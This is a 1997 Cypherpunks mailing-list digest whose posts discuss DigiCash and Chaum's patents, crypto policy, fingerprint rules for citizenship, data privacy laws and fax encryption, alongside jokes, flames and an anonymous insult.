>    -ooO--U--Ooo- Tim Mayhem
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From harka at nycmetro.com  Mon Apr 28 22:54:16 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Mon, 28 Apr 1997 22:54:16 -0700 (PDT)
Subject: off-topic/Flying cows
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

I just had to forward this...
(translated from a german newsservice)

 -=> Quoting In:germnews at listserv.gmd.de to Harka <=-

Last Page: Flying cow sinks japanese fishing boat

Wladiwostok. A cow fell out of an airplane before the siberian coast
and smashed onto japanese fishing boat, causing it to sink. That
reported the German Embassy in Moscow in an internal note to the
[german] State Department.

Appearantly a russian military plane was flying over the Ochotskian
sea with stolen cows on board; the cows started panicking and made
the airplane instable in it's flight - they weren't tied to the
walls. Therefore the pilots used the last possibility: they opened
the back door and moved the cows out of the machine. One of the cows
hit a japanese fishing boat and turned it over. The crew could save
themselves to the coast, where they were arrested by russian guards,
who wouldn't believe the cow story - until an investigation proved
it valid.

A russian official responsible for traffic is supposed to have
mentioned this case to the German Embassy as a strange example for
the terrible condition of russian flight safety. The State
Department would neither confirm nor deny the incident.


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

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If encryption is outlawed, only outlaws will have encryption...







From camcc at abraxis.com  Tue Apr 29 06:35:04 1997
From: camcc at abraxis.com (Alec)
Date: Tue, 29 Apr 1997 06:35:04 -0700 (PDT)
Subject: off-topic/Flying cows
In-Reply-To: 
Message-ID: <3.0.1.32.19970429093600.007ca100@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 01:48 AM 4/29/97 -0500, you wrote:

The Rest of the Story:

Terrorist Cow Dump Prompts Congrssional Action!

In a rapid response to terrorist cow dumping reported over the Pacific Ocean,
the United States Congress has passed and sent on to the President for his
signature a law making it illegal to drive cattle from flying aircraft over
any territory of the United States. President Clinton has previously stated
he will sign such a bill sent to him.

|-----BEGIN PGP SIGNED MESSAGE-----
|
|I just had to forward this...
|(translated from a german newsservice)
|
| -=> Quoting In:germnews at listserv.gmd.de to Harka <=-
|
|Last Page: Flying cow sinks japanese fishing boat
|
|Wladiwostok. A cow fell out of an airplane before the siberian coast
|and smashed onto japanese fishing boat, causing it to sink. That
|reported the German Embassy in Moscow in an internal note to the
|[german] State Department.
|
|Appearantly a russian military plane was flying over the Ochotskian
|sea with stolen cows on board; the cows started panicking and made
|the airplane instable in it's flight - they weren't tied to the
|walls. Therefore the pilots used the last possibility: they opened
|the back door and moved the cows out of the machine. One of the cows
|hit a japanese fishing boat and turned it over. The crew could save
|themselves to the coast, where they were arrested by russian guards,
|who wouldn't believe the cow story - until an investigation proved
|it valid.
|
|A russian official responsible for traffic is supposed to have
|mentioned this case to the German Embassy as a strange example for
|the terrible condition of russian flight safety. The State
|Department would neither confirm nor deny the incident.
|
|
|Ciao
|
|Harka
[snip]
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GSZFbXEp0oY=
=+J+a
-----END PGP SIGNATURE-----






From rah at shipwright.com  Tue Apr 29 08:21:58 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 29 Apr 1997 08:21:58 -0700 (PDT)
Subject: Chaum steps down as CEO of Digicash
In-Reply-To: <199704281753.KAA00589@crypt.hfinney.com>
Message-ID: 


At 1:53 pm -0400 on 4/28/97, Hal Finney wrote:

> Chaum's orientation towards privacy has not been well accepted by the
> conservative banking community (a similar point was made by Peter Swire
> in his article about payments and anonymity).

Again, financial privacy is like flight. To the people who invented it,
flight was an inherent good. People died trying to create it. However, the
thing which made flight commonplace was commerce. Flying is not only the
fastest way for people and other important things to get somewhere, but,
over great distances, it is simply the cheapest way for people to travel.
People don't purchase "wow, we can fly". They purchase economy seats to
Cleveland. :-).

The same thing with financial cryptography, and, by extension, strong
cryptography in general. What will sell financial cryptography is not
financial privacy per se. What will sell financial cryptography is the fact
that digital bearer certificate protocols will prove, by virtue of their
very *anonymity*, to be many orders of magnitude cheaper to use than any
internet transaction method of equal security. Or any transaction method at
all, for that matter. Including, of course, the book-entry transaction
settlement methods (like checks, credit cards, securities clearinghouses,
interbank settlement) we use today.

It is under *that* proposition alone, the potential for radical cost
reduction in *all* transaction settlement processes -- and the prospect for
radical economic transformation that that brings -- that the blind
signature patent should be marketed and licensed.


Notice I said "licensed".

Cryptographers -- and that is who Digicash is, nothing else, no matter how
hard they try to be otherwise -- should invent, license, and validate the
use of cryptographic protocols. And, clearly, there is no better financial
cryptographer in the world than David Chaum, the man who created, from
whole cloth, everything we consider to be modern financial cryptography.

Digicash should not try to be a financial trustee, or a certificate
underwriter, or even a software developer. All three things Digicash, BV,
has tried to be in its many previous incarnations. Now, it appears,
Digicash, Inc., is going to try to become the internet equivalent of a
credit card association. However, once you understand what Digicash's
strengths really are, you can see why this current strategy is just the
next progression in, I'm sorry to say, the fool's market that Digicash,
Inc., has become in terms of investment return.


So, you can understand how, sometimes, I'm very much afraid we'll have to
wait until this round of funding is burned through -- say 3 to 5 years --
before we see any progress in the market for digital bearer certificates.
And, if Digicash keeps finding a "greater fool" when the money runs out,
we'll end up waiting until 2007, the expiration date on the blind signature
patent, in order for anything to happen at all.


Yet, most of rest of the time, however, I'm not so pessimistic. I'm
convinced that if Digicash starts non-exclusive licensing of the blind
signature patent, and the other relevant Chaum patents it now controls,
even as an experiment, I expect that they would very soon find that their
profit margins on those licenses would dwarf the profits on all their other
projects.  Maybe then they'll realize they should stop trying to be
something else, and be what they what they have been all along: the very
best financial cryptographers in the world.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From jya at pipeline.com  Tue Apr 29 09:39:59 1997
From: jya at pipeline.com (John Young)
Date: Tue, 29 Apr 1997 09:39:59 -0700 (PDT)
Subject: Netscape plans to support GAK
Message-ID: <1.5.4.32.19970429163809.008c471c@pop.pipeline.com>


Robert Hettinga wrote:

>Yup. Looks like Barksdale(?) was right in his Pro-Excrow comments two years
>ago in Boston after all.
>
>Mr. Weinstein's Black Rhino Ammunition Inc. "Mr. Kevlar" award went for
>naught, I'm afraid...

While it might be too touchy for Netscaper cryptographers to address
openly, I wonder if there is not a scheme afoot to go along with the 
current restrictions in order to be better positioned to compete with 
others intending to launch robust encryption as soon as the leak in the 
dam globally breaks.

There may be more to this story than appears in the PR of
industry and government. The crypto fight may be a diversion.

Suppose the governments intend to relax crypto restrictions 
once other technologies to monitor electronic transactions are
in place and and enforcers have been trained to snare illegal 
transactors based on physical evidence of crime beyond the
digital. 

Recall that that's what Peter Neumann and others on the NRC 
crypto panel suggested as an agenda for the FBI to forego undue
crypto emphasis.

Is it not possible that the US and other nations will allow strong
encryption so long as other means are at hand to control any
action merely cloaked in encrypted language, as has been done
forever with stylistic literature and speech?

To, as with its predecessors, tolerate the artist of cryptoanarchy 
but guillotine the actor.







From rah at shipwright.com  Tue Apr 29 12:36:14 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 29 Apr 1997 12:36:14 -0700 (PDT)
Subject: Bypassing the Digicash Patents
In-Reply-To: 
Message-ID: 


At 1:54 pm -0400 on 4/29/97, Tim May wrote:


> At 6:19 AM -0800 4/29/97, Robert Hettinga wrote:
>
> >And, if Digicash keeps finding a "greater fool" when the money runs out,
> >we'll end up waiting until 2007, the expiration date on the blind signature
> >patent, in order for anything to happen at all.
>
>
> Recall that there are at least two major bypasses of the blind signature
> patent: the Doug Barnes "identity agnostic" approach and the Ian Goldberg
> work on moneychangers and "everyone a mint."

I certainly wasn't ignoring these guys. I suppose if you're going to be
issuing certificates in, holding the money in trust for, or even writing
commercial software for some kind of digital bearer certificate market, it
would probably be a good idea not to fight off lawsuits all the time from
the acknowleged patent holder, whether or not they're justified.

Of course there's the counterexample in aviation of Curtiss, who fought off
the Wright brothers for years to great effect, after fairly outright patent
theft.

> I happen to agree that Chaum is the pioneer of much that we consider core
> Cypherpunks technology. And I wish him well and hope he someday recoups his
> investments in Digicash and ends up making money. But I agree with Bob's
> points about the mistakes Digicash has made...and this is not some opinion
> I have come to in hindsight: I, and others, expressed these views several
> years ago.

I really didn't understand this myself until maybe two years ago, when I
applied the physical bearer certificate model to a hypothetical market for
digital bearer certificates. The whole problem crystallizes when you look
at it that way. In that context, Digicash is more like the Crane paper
company, or better, the folks who invent the doodlers and stuff to make
very complex intaglio printing possible, not even the press manufacturer.
Certainly very necessary technology, in fact the defining technology, but
not quite sufficient by itself to create a market. ;-).

> (One such expression was in an article I did a few years ago about how
> software patents are instrinsically poorly "metered."

> The situation is
> vastly different with software patents, and this is holding back such
> innovations. I have no real solution, except to simply advocate
> "liberation" of such things...if it can't be protected without an intrusive
> police state, screw the supposed property rights. Schelling points, David
> Post's "code," and all that...sorry for the elliptic (not curve)
> references.)

Oddly enough, it's quite possible to have perfectly pseudonymous digital
bearer certificate markets where the protocol inventor is fairly
compensated for inventing the protocol. The key is to use the trustee as
the policeman of the market, the place where the meter "clicks". Since the
exchange of certificates into other kinds of money (be it other
certificates, book-entries, or commodities of some kind) must go through
the trustee at some point, the trustee can, as part of the trust agreement
with the holders of the certificates, give some share of transaction fee or
interest income to the protocol designer, in addition to what is paid to
the underwriter. The trustee is renting their reputation to the transaction
process anyway, so it is the best entity to increment the meter fairly on
the designer's behalf.

Look, Ma, no nation-state!

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From shamrock at netcom.com  Tue Apr 29 12:40:57 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 29 Apr 1997 12:40:57 -0700 (PDT)
Subject: Chaum steps down as CEO of Digicash
In-Reply-To: 
Message-ID: 



On Tue, 29 Apr 1997, Robert Hettinga wrote:

> At 1:53 pm -0400 on 4/28/97, Hal Finney wrote:
> 
> > Chaum's orientation towards privacy has not been well accepted by the
> > conservative banking community (a similar point was made by Peter Swire
> > in his article about payments and anonymity).

Having worked for DigiCash for more than one year before giving up on them
due to persistent billing problems, I can assure you that the privacy
features of Ecash have *nothing* to do with the failure of Ecash in the
marketplace. 

The blame for the failure of Ecash rests squarely and exclusively with 
DigiCash's management.

--Lucky





From mixmaster at remail.obscura.com  Tue Apr 29 12:55:29 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Tue, 29 Apr 1997 12:55:29 -0700 (PDT)
Subject: No Subject
Message-ID: <199704291837.LAA08960@sirius.infonex.com>


Timothy Mayflower studied yoga back-streching exercises for five years so he could 
blow himself (nobody else will).

 o/    \  /    \ /     /      \o
/ \    /  \    /o\    / |\    / \






From camcc at abraxis.com  Tue Apr 29 14:03:41 1997
From: camcc at abraxis.com (Alec)
Date: Tue, 29 Apr 1997 14:03:41 -0700 (PDT)
Subject: Fingerprint Stego
In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com>
Message-ID: <3.0.1.32.19970429170432.007f4dd0@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 12:37 PM 4/29/97 -0700, Mike Duvos thoughtfully wrote:

|A funny story in last night's Seattle Times...
|
|It seems the INS and FBI are unwilling to grant US citizenship to
|persons without legible fingerprints.

[snip]

Fingerprint escrow?

Does this mean that, ipso facto (I love it), physically challenged
individuals with missing or deformed hands are excluded regardless of other
qualifications? What a monstrosity of a rule!

Was this carried over the wire? AP?

|"This is not something we take lightly," said INS spokesperson
|Irene Mortensen. "We can't just arbitrarily give out citizenship
|to just anyone."
 
The fact that Irene Mortensen has citizenship at all proves her point.

Is it not possible to retroactively _remove_ the citizenship of such an
arrogant bureaucrat to test whether she could make the grade imposed on the
rest of the world's "refuse?"

"Dear Irene Mortensen:

We regret to inform you....."

Thanks, Mike, for the increase in BP.

Alec


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From nobody at huge.cajones.com  Tue Apr 29 15:17:32 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 29 Apr 1997 15:17:32 -0700 (PDT)
Subject: Fingerprint Stego
Message-ID: <199704292217.PAA13810@fat.doobie.com>


Alec wrote:
> At 12:37 PM 4/29/97 -0700, Mike Duvos thoughtfully wrote:
> |A funny story in last night's Seattle Times...
> |
> |It seems the INS and FBI are unwilling to grant US citizenship to
> |persons without legible fingerprints.
> 
> [snip]
> 
> Fingerprint escrow?
> 
> Does this mean that, ipso facto (I love it), physically challenged
> individuals with missing or deformed hands are excluded regardless of other
> qualifications? What a monstrosity of a rule!

  Also, can one have one's citizenship revoked if they lose their
fingers in a bizarre chainsaw accident? Or if the "Circle of Eunuchs"
performs finger-castration on them because they are caught *fingering*
people while they sleep?

  Why are not alternative methods of identification used, such as 
placing a tattoo on their arms? Or remove the threat they pose to
others, by placing them in camps?

  Other, more crypto-relevant, concerns arise when one considers
whether this fingerprint-anonymity is perhaps a form of biological
cryptography.
  Is the person breaking any laws if their fingers leave the 
country? Can they be required to cut off one of their fingers
and send it to the government under fingerprint-crypto escrow laws?

  Perhaps we need a "Truth in Spokespersoning" law which would
require spokespersons to tell it like it is:
  "We regret to announce that we cannot allow this person to become
a citizen, because we consider citizens to be the property of the
state, and we need to be able to identify our property.
  "Of course, there may be other ways to mark the person for
identification by the state, but we are too stupid, anal-retentive
and uncaring to concern ourselves with looking into these areas.
  "Besides, we don't have to. We're the government and we can do
whatever silly, stupid, uncaring and unjust things we want to our 
citizens without suffering any consequences for our actions."

FingerMonger






From real at freenet.edmonton.ab.ca  Tue Apr 29 16:05:06 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 29 Apr 1997 16:05:06 -0700 (PDT)
Subject: your mail
In-Reply-To: <199704291837.LAA08960@sirius.infonex.com>
Message-ID: 


On Tue, 29 Apr 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

>
Timothy Mayflower studied yoga back-streching exercises for five
years so he could 
> blow himself (nobody else will).
> 
>  o/    \  /    \ /     /      \o
> / \    /  \    /o\    / |\    / \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From rah at shipwright.com  Tue Apr 29 16:36:05 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 29 Apr 1997 16:36:05 -0700 (PDT)
Subject: Bypassing the Digicash Patents
In-Reply-To: 
Message-ID: 


At 5:35 pm -0400 on 4/29/97, Tim May wrote:

> This is  really for patent lawyers to argue,

Indeed, which is my point. If the patent lawyers are arguing, life is hard
for anyone trying to make  money with the technology the patents allegedly
cover.

Kind of like those "SLAPP" suits companies like to throw at "activists".
Remember PRZ? Same shit, different day. Economically, anyway.

> "Contributory infringement" is one possible avenue of going after such
> systems which bypass Chaum's patents, but this is a complicated issue.

See above. :-).

> I would guess that Chaum is also planning to try to get more comprehensive
> patents covering the "entire system" of using digital cash in financial
> transactions. Bad as software patents usually are, this trend is even worse.

Say amen, somebody. I personally think software patents are useless in the
long run, but they're still bad for business in the meantime. In which
meantime, until we can nonrepudiably pay people who invent financial crypto
protocols without the intervention of the nation-state, we need to live
with said patents.

> For the desired market for digital cash, that of black market and
> anarchistic transactions, ignoring the patents seems an obvious choice. For
> the hoity-toity bankers, they'll probably avoid such things completely.

There are lots of other "desired" transactions for digital bearer
certificates besides digital cash for black markets. Everything from
"collectables" (no accounting for taste, I suppose), to any current
financial instrument (and a few we haven't dreamed up yet), to micromoney
for those micromoney "mitochondria" I rant so much about. All of them will
be extremely economical because they're untraceable and still negotiable.
Nonrepudiable without the "assistance" of a nation-state.

Remember, proto-wings were evolved by pond-skimming insects so they could
skim across ponds faster. Eventually, when those proto-wings evolved into
actual wings, flying insects didn't need ponds anymore. With that idea in
mind, digital bearer certificates are going to have to interface with the
book entry world of meatspace for a while, in order to be convertable into
other assets. Eventually, at some point, those assets won't be book-entries
anymore.

 > I know which side I'm on, but I'm not sure which side Bob
is on. 

Bob just wants to make a buck. Something you don't have to worry about any
more about, anymore, Tim.


The point is, if it makes money it'll happen. If it doesn't make money, it
won't. Reality is not optional. Nation states are so powerful, requiring
the invention of strong cryptography to save us from their totalarian
excressance, because they can take our money at gunpoint. The reason they
can is because money can be traced, either in physical form, or lately, in
electronic book-entry form. The reason it can be traced is because our
economic system physically requires a nation state to enforce any
repudiation of its transaction protocols.  To punish fraud, in other words.

Financial cryptography saves us from the nation state not just because it
hides information about ourselves, but because it out-competes the old book
entry transaction system, especially in terms of non-repudiation. It
outcompetes the old system on it's own turf. Which means, of course, in
banks. "Hoity-toity" or otherwise.

Think about it this way. Personal computers didn't really start to kill
mainframes until they were networked into mainframes and could hoover data
out of them with impunity, and out-process the information. Excel killed
123 that much quicker because it could read .WK1 files transparently,
macros and all, and then do much more with it. Soon, this upcoming
"protocol conversion", between the net world of bearer certificates and the
meatspace world of book-entries, will be done by a financial trustee.

A trustee which will be, for all intents an purposes, and certainly in the
earlest stages of a digital bearer certificate infrastructure, a bank. The
hoity-toitier, the better, because they have the best reputation to rent to
transactions on the net. So, that means avoiding unpleasantneess, like
"cutting out" transactions on the net from a bank's shareholders by having
a bunch of separate entities, underwriters in other words, marketing and
validating the actual certificate transactions. That keeps Mrs. Grundy from
standing up in the bank's boardroom one afternoon and cancelling all the
net.porno operators' accounts, because they don't have accounts in the
bank. The underwriters do, and they underwrite certificates for thousands
of customers apiece, customers the underwriters don't even have know,
because the trustee is blindly passing those ATM and wire transactions to
the right banking correspondents on those networks, who in turn validate
their customers against their account base.


Anyway, getting back to the point, "avoiding unpleasantness" also means not
having patent lawyers sue those very essential "hoity-toity" trustee banks
for rediculous reasons, like patent infringement, actual or not.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From dlv at bwalk.dm.com  Tue Apr 29 18:00:17 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Apr 1997 18:00:17 -0700 (PDT)
Subject: Crypto gambling
Message-ID: 


It has been brung to my attention that one of the horses running in this
Saturday's Kentucky Derby is named Crypto Star.  He already won the
Louisiana and Arkansas Derbys.

Vote Labour!!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From 3umoelle at informatik.uni-hamburg.de  Tue Apr 29 18:39:35 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 29 Apr 1997 18:39:35 -0700 (PDT)
Subject: Data Privacy Laws
In-Reply-To: 
Message-ID: 


> >   According to the Registrar's office, anyone who is processing personal
> >   information, even as little as names and addresses received over the
> >   Internet, could find themselves facing an unlimited fine in the higher
> >   courts if they do not register with the Data Protection Registrar.

> This is well known to most of us. Still, we periodically get "privacy
> advocates" here on this list singing the praises of the various European
> "data privacy laws" and urging other nations to adopt the same sorts of
> laws.

It is worth noting that the "Data Privacy Commissioners" in Germany
(equivalent to the British Data Protection Registrar) are beginning to
advocate technologies such as anonymous e-cash, pre-paid chipcards,
pseudonyms, and of course encryption, rather than more laws.






From pooh at efga.org  Tue Apr 29 19:03:54 1997
From: pooh at efga.org (Robert A. Costner)
Date: Tue, 29 Apr 1997 19:03:54 -0700 (PDT)
Subject: Fingerprint Stego
In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com>
Message-ID: <3.0.1.32.19970429185605.00726388@intergate.net>


At 05:04 PM 4/29/97 -0400, Alec wrote:

>Does this mean that, ipso facto (I love it), physically challenged
>individuals with missing or deformed hands are excluded regardless of other
>qualifications? What a monstrosity of a rule!

Georgia in fact has a mandated fingerprint requirement for obtaining a
driver's license.  Practices vary from station to station, but there have
been reports of handicapped or others who do not fingerprint properly being
denied a driver's license.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/
     





From tcmay at got.net  Tue Apr 29 19:14:02 1997
From: tcmay at got.net (Tim May)
Date: Tue, 29 Apr 1997 19:14:02 -0700 (PDT)
Subject: Data Privacy Laws
In-Reply-To: 
Message-ID: 


At 5:37 PM -0800 4/29/97, Ulf M�ller wrote:
>> >   According to the Registrar's office, anyone who is processing personal
>> >   information, even as little as names and addresses received over the
>> >   Internet, could find themselves facing an unlimited fine in the higher
>> >   courts if they do not register with the Data Protection Registrar.
>
>> This is well known to most of us. Still, we periodically get "privacy
>> advocates" here on this list singing the praises of the various European
>> "data privacy laws" and urging other nations to adopt the same sorts of
>> laws.
>
>It is worth noting that the "Data Privacy Commissioners" in Germany
>(equivalent to the British Data Protection Registrar) are beginning to
>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>pseudonyms, and of course encryption, rather than more laws.

This is very encouraging, if true. (Not that I doubt Ulf, but one must
always be careful in considering the plans and promises of government
entities.)

It would be especially nice (schon, or schoen--my Mac supports umlauts, of
course, but I never try to use them in ASCII posts) if Germany were to
abandon its control-freak stance toward the Internet and realize that "the
best cure for bad language is more language" and "sunlight is the best
disinfectant." (These are both well-known sayings about free speech.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From stewarts at ix.netcom.com  Tue Apr 29 19:15:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 29 Apr 1997 19:15:07 -0700 (PDT)
Subject: Fax Security Program
In-Reply-To: <1.5.4.32.19970427175927.0075b2f8@pop.pipeline.com>
Message-ID: <3.0.1.32.19970429184138.0063fb50@popd.ix.netcom.com>


At 01:59 PM 4/27/97 -0400, John Young wrote:
>The TV show "Computer Chronicles" Saturday featured
>various comm security products, one of which used a fax 
>encoding system with unusual capabilities to transmit color
>images, condensed text (say, a 30-page doc encoded
>on a single fax page) or any other digital data as visual
>clutter.
...
>We missed the name of the product and would appreciate
>hearing from anyone who did, or who knows of the product.

There was a long discussion / flamewar about a product like this
a year or three ago; you can check the archives.
This system sounds a bit more interesting than the one
that someone was touting the last time, but essentially 
any system like this will have a subset of the following steps
0) Scan and digitize the original into a file, if it's not already online.
1) Compress the file (often combined with Step 0.)
2) Encrypt the file
3) Represent the file as a bunch of bits, possibly pixels (needs to add enough
	redundancy to recover from errors in Steps 4 and 5,
	and government-mandated anti-fax-spamming citizen-identification :-)
4) Transmit the pixels using fax or modem or Internet protocols
5) Print onto paper and rescan (if receiver isn't a computer)
6) Recover the encrypted compressed file from the pixel representation
7) Decrypt the file, if encrypted
8) Decompress the file
9) Print onto paper, if desired.

Regular fax machines, and many scanners, combine steps 0 and 1;
regular fax skips steps 2, 3, 5, 6, and 7.
If the original is already a file, or is a more complex picture than G3 fax,
most products will use some proprietary representation, or maybe G4.
One snake-oil product used "Visual Encryption", which meant that they
represented the file as blocks of pixels, shuffled the pixels in some
not-blazingly-secure manner that had enough redundancy for error recovery,
and transmitted that.  

Alternatives: 
1) If you wanted to, you could do the pixel-representation before the 
encryption, and use strong encryption, but then you'd either need
to transmit directly to a computer instead of a fax machine or risk
major lossage from printing and rescanning, and you'd be encrypting far more
bits than you really need to, for no particular benefit -
unless your pixel-representation is a simple black/white pixel per bit
(i.e. you skipped the error correction or did it on the raw data.)
2) You could use a fax or modem to transmit the data as analog sound,
digitize and encrypt the sound, and transmit that over a modem or internet.
This has the advantage that you can use a regular fax machine and
it doesn't need to know you're playing with the audio, though if you
do it crudely you need to transmit a lot more bits,
unless you're using an ISDN connection which was already bits.
2a) You could "digitize" the sound by recognizing it as fax/modem tones and
demodulating into the original pixel-representation bits.
This can save you bandwidth (especially if you transmit your vanilla-9600-bps
fax signal over a 28.8kbps modem.)  Of course, if you were going to pay
to do that anyway, you probably should have just encrypted the data
on a PC and transmitted it by modem anyway instead of messing with Faxes.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From jya at pipeline.com  Tue Apr 29 20:08:30 1997
From: jya at pipeline.com (John Young)
Date: Tue, 29 Apr 1997 20:08:30 -0700 (PDT)
Subject: Rejecting Dialog with Government Vermin
Message-ID: <1.5.4.32.19970430030645.008d391c@pop.pipeline.com>


Sure DC is a swamp and NYC is a cesspool, but it's their lakes 
of shit that keep hungry dogs from the outback coming to feed. 
To hack politics, spin lies, hawk IPOs and Wall Steal from 
W&O. Both burgs draw never ending packs to plot the peddling 
of useless news and armaments and laws and fortune cookies --
all the SOS for which most countries need only one capital hole but 
for which America needs two to handle demand.

In that vein, I bet Declan learns to love Manhattan via Time's 
irresistable harem and ungents. All journalists, especially those 
doing duty in DC and CA, aspire to the cessmost of presspools.

So, Time-speaking a Declan, I nym drop that Cylink's board dined 
this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
the joys of bedding and gorging Sodom's delights -- the cost to be 
written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
sanctioned worldwide: the need and deed of two-back gov and biz.







From alan at ctrl-alt-del.com  Tue Apr 29 20:56:44 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Tue, 29 Apr 1997 20:56:44 -0700 (PDT)
Subject: Rejecting Dialog with Government Vermin
In-Reply-To: <1.5.4.32.19970430030645.008d391c@pop.pipeline.com>
Message-ID: <3.0.1.32.19970429205628.008a8cd0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 11:06 PM 4/29/97 -0400, John Young wrote:

>So, Time-speaking a Declan, I nym drop that Cylink's board dined 
>this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
>the joys of bedding and gorging Sodom's delights -- the cost to be 
>written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
>sanctioned worldwide: the need and deed of two-back gov and biz.

Are you sure you have not been channeling Dr. Bronner?

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Version: 4.5

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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|





From nobody at REPLAY.COM  Tue Apr 29 21:59:11 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Apr 1997 21:59:11 -0700 (PDT)
Subject: Citizen Units
Message-ID: <199704300459.GAA12692@basement.replay.com>


Forwarded from another mailing list...

---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 13:54:16 -0700 (PDT)
From: Dale Seago 
To: (distribution deleted)
Subject: On The Importance Of "Image"



A few weeks ago one of my dojo students, Rex Biteng, took some
photos to be used in an article for a on-line magazine for which
Rex writes. The photos featured Rex, another of my students named
Robert Candelaria, and a friend of theirs holding some firearms
owned (quite legally) by this third party.

Rex took the photos to a chain called Costco, which offers a photo
developing service (okay, you can see it coming already, right?).
Next thing he knows, people at his bank are telling him that police
of- ficers have been showing these photos around and asking
questions about his financial affairs. According to Rex, before he
